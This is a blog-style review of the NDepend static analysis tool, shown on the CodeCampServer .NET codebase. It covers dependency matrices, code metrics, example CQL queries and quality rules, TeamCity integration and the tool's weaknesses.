CodeCampServer uses NHibernate as ORM which completely decouples data-access concerns from the application code. Repositories in data-access layer simply delegate all CRUD operations of domain entities to NHibernate that will handle the creation and persistence of domain-entities. The repository itself makes totally zero direct communication with domain-entity.

Overall, CodeCampServer has a very good dependency matrix, but you will be surprised of how many unexpected smells that you can find in your application. You might find many things are not written in the way how you architect it. If one of your developers take a shortcut and, say, call security-checking from domain-entity, you will notice an unexpected reference from the dependency matrix (Domain->Security). You can even setup automatic alert when that happens, e.g. when domain layer has any reference to other namespace. More on that later.

Circular Dependency

This is what we normally need to be alerted with. CodeCampServer.Website.Impl makes a circular reference with CodeCampServer.Website. A reference from CodeCampServer.Website into a member in more specific namespace like CodeCampServer.Website.Impl signals some kind of smell.

You can navigate through the detail of the reference by clicking on the box. Turns out that CodeCampServer.Website.Globals make a reference to CodeCampServer.Website.Impl.RouteConfigurator.

image image

The reference is apparently caused by Windsor IoC configuration in Globals.RegisterMvcTypes() methods.

image

Since Global is only referencing RouteConfigurator by its class, and not communicating with it in any way, NDepend indicates 0 on the reference. These 2 components are entangled for a conscious intention,so this analysis concluded no design problem. However this is a good example of using NDepend feedback to discover potential design smell in many parts of applications. For example look at the following dependency matrix for Spring.Net code:

image

The black areas indicates that those namespaces are tightly entangled together. Tight coupling means that all those 6 namespaces can only be understood together, which adds complexity in understanding and maintaining the code. Of course tight-coupling also means that they all can only be used together. I.e. to use dependency-injection capability from Spring.Core, you will need the presence of Spring.Validation in the baggage.

Metric

NDepend presents overview information about our code in various metric. For example, here is “Line of Code” metric for CodeCampServer.

MetricTreemapSnapshot

CodeCampServer is written with TDD, so unsurprisingly, Unit-Tests takes up majority of the code lines. Followed by integration-tests. The biggest portion of application-code is on Website layer. And here is my favorite part: just like a street map, you can zoom deeply into this map by scrolling your map, from top assembly level down to classes and individual methods! In fact, you can use your mouse scroll to zoom almost anything in NDepend user interface.

Now let’s see the map for Cyclomatic Complexity metric. The more if/else/switch statements in your code, the higher Cyclomatic Complexity it gets.

MetricTreemapSnapshot

CodeCampServer is developed using Domain-Driven-Design approach, so when it comes to complexity and decision-making, Model layer takes up most of the space. Unit-test takes just about the same size.

Code Query Language

I can’t repeat this enough: CQL is brilliant! It gives you the power to gather just about any information you need about your source code. CQL is very similar to SQL, but instead of querying the database, you are querying into your source-code. You can use CQL to quickly search for particular areas in your code that can be of your interest in term of code quality.

The information that you can query with CQL is comprehensive. NDepends provides a huge 82 code metrics that provides access to large range of information you need.

  • Which methods have been refactored since last release and is not thoroughly covered by unit-tests?
    SELECT METHODS WHERE CodeWasChanged AND PercentageCoverage < 100
  • What public methods could be declared as private?
    SELECT METHODS WHERE IsPublic AND CouldBePrivate
  • What are the 10 most complex methods?
    SELECT TOP 10 METHODS ORDER BY CyclomaticComplexity

Code Inspection

So far we have been talking about all various statistics and analysis, but we haven’t seen the part that matters the most in a static analysis tool: code inspection. You can set up custom coding guidelines using CQS, and let NDepend regularly inspect your codebase to meet the project standard, and issue warnings when somebody violates the rule.

Let’s say, Architectural Guidelines:

  • DDD Value Object has to be immutable
    WARN IF Count > 0 IN SELECT TYPES WHERE !IsImmutable AND HasAttribute “ValueObject”
  • Web layer should not have direct dependency to Data layer
    WARN IF Count > 0 IN SELECT METHODS FROM NAMESPACES “Web” WHERE IsDirectlyUsing “Data”
  • Repository should not flush NHibernate session. It violates unit-of-work pattern.
    WARN IF Count > 0 IN SELECT METHODS FROM NAMESPACES “Data” WHERE IsUsing “NHibernate.ISession.Flush()”
  • All public methods of Services has to be surrounded by database transaction
    WARN IF Count > 0 IN SELECT METHODS FROM ASSEMBLIES “Services” WHERE IsPublic AND !HasAttribute “Transactional”

Quality Standards:

  • Methods that are way too long, and obviously unreadable
    WARN IF Count > 0 IN SELECT METHODS WHERE NbILInstructions > 200 ORDER BY NbILInstructions DESC
  • Methods that have too many parameters are smelly.
    WARN IF Count > 0 IN SELECT METHODS WHERE NbParameters > 5 ORDER BY NbParameters DESC
  • Classes that have too many methods. Chances are they violate Single Responsibility Principle
    WARN IF Count > 0 IN SELECT TYPES WHERE NbMethods > 20 ORDER BY LCOM DESC
  • Classes that overuse inheritance. You should consider favour_composition_over_inheritance principle
    WARN IF Count > 0 IN SELECT TYPES WHERE DepthOfInheritance > 6 ORDER BY DepthOfInheritance DESC

Continuous Quality

Continuous quality is the ultimate goal of code-analysis tools. You can hook NDepend to your project’s continuous integration servers.

Hooking NDepend to TeamCity allows it to continuously monitor the quality of the project based on design rules you specifies, and ring the alarm when somebody checks-in some malicious code that violates design guidelines of the house. This gives an immediate feedback to the developers to fix the code before it degrades the codebase. Yes, we “Fix” code NOT only when something is broken, but also when the code does not meet certain quality threshold! It’s often difficult to get that across to some people.

This ensures not only that all codes being checked-in can actually be built into an actual application that satisfies all the requirements (unit-tests), but also ensures that the codebase continuously meet acceptable level of quality.

TeamCity is a really nice development dashboard that provides you a great detail of information about the current state of the application and its historical progressions, and NDepends supplies quantitative numbers for various quality metrics that you can track back. You can even use NDepend to analyse differences between 2 versions of source code and the implication to the metrics. You can observe how the metrics are evolving over time. In general, this will gives you a trend looking more or less like this:

image

At the start of the project, the code is looking good. Methods are short, classes are awesomely designed, loose coupling is maintained. Over time as the complexity grows, methods are getting stuffed up with if/else and non-sense code, classes are entangled together… The code starts to decay. When the code gets so bad and the heat goes beyond acceptable level or violates certain coding guidelines, NDepend starts complaining screaming for refactoring.

The developers starts cleaning up their mess and refactor the code, while the code is still reasonably manageable. The heat cools down a bit, and quality is getting better. As the development progressing, the heat keeps jumping up and each time NDepend gives you immediate feedback, allowing you to refactor the code before it gets too difficult. The overall code quality is constant over time.

Without continuous inspection to code quality, the diagram would have been:

image

The code decays steadily as it grows. It’s becoming less and less manageable with the intention to refactor it when you feel critical. But before you know it, the code is already too difficult to be refactored. Making a single change is totally painful, and people end up throwing more mud into it everyday until the code turns into a big ball of mud, that the only thing in your mind everyday is to scrap the code and move on to the next project. And I know that feeling all too well 😛

Report

When it comes to code analysis report, NDepend is top notch. There are ridiculously massive details of information about your code. From trivial lines-of-code, test-coverage, and comments, to dependencies and warnings. You can even compare 2 versions of the source-code. And all of them can be kept track in historical order within TeamCity. All these details can be overwhelming, luckily it’s presented with a great high level summary at the top, followed by increasingly detailed information as you walk down. Here are big-picture summary of CodeCampServer’s codebase:

image

Stable or abstract do not mean anything bad or good about the code. That is just a fact about the code.

  • Stable package means that a lot of components are using it. I.e., it has a lot of reasons NOT to change
  • Abstractness indicates the ratio between interfaces, abstract classes, or sealed classes within the package. Abstract package gives more flexibility in changing the code.

Good quality code is a balance between these 2 properties. It’s about finding equilibrium between 2 extreme characteristics:

  • Painful: the package used by a lot of people, but lack of abstractness, hence painful to change
  • Useless: the package is used by no one, but it has a lot of abstractness, hence over-engineering.

The website and data-access of CodeCampServer are infrastructure implementations, and it is structured that there is nothing in the application that depends on them. Thus they’re located at the edge of instability in the diagram. The core of the application, Model layer are by nature stable. They cannot be easily changed without affecting the other part of the application. Luckily it is highly decoupled (using service-interface and repository-interface), so it has higher abstraction, although not enough to make it into green area.

Summary

Weakness

There are however some area that NDepend still falls short.

  1. CQL is not as powerful as you might expect. The most significant one being the absence of any notion of subquery, or join, or any other mean that allows you to traverse relationship between components. What seem to be pretty simple queries are actually impossible to be expressed in current version of CQL:
    • Select all methods in classes that implement IDisposable
    • Any method that constructs any class from namespace “Services”. (Rule: services should be injected by IoC)
    • Any member in namespace “Services” that has instance field of types from “Domain.Model” namespace. (Rule: DDD services should be stateless)
    • All namespaces that refer to another namespace that make reference to opposite direction (i.e. circular reference)
  2. Continous Integration support is a bit weak. In fact, there is no direct support to TeamCity. Constraint violations can’t be fed into TeamCity alert system. And while TeamCity can store NDepend historical reports as artefacts, there is no easy way to follow the progression summary of the stats. E.g. growth of code size or dependencies (other than collecting all the reports ourselves), like what TeamCity does with code-coverage graphs. But maybe I’m just too demanding…
  3. 82 metrics are impressive, added with CQL it makes NDepend far superior than other code-analysis tools in term of the easiness of customisation. However, I haven’t found any mean to actually extend the metrics (or the constraints). Even though FxCop’s customisability is very limited, it’s fairly easy to write your own plugin and extend the tool yourself.

Having said that, NDepend is a really impressive tool. Lives for architects and application designers have never been easier. They no longer need to deal only with whiteboards and CASE tools. NDepend allows them to deal straight with the actual code realtime. Looking into the code from architectural viewpoint. NDepend provides great deal of flexibility with its brilliant CQL. NDepend is very intuitive, and it took me almost no time to get going and do interesting things.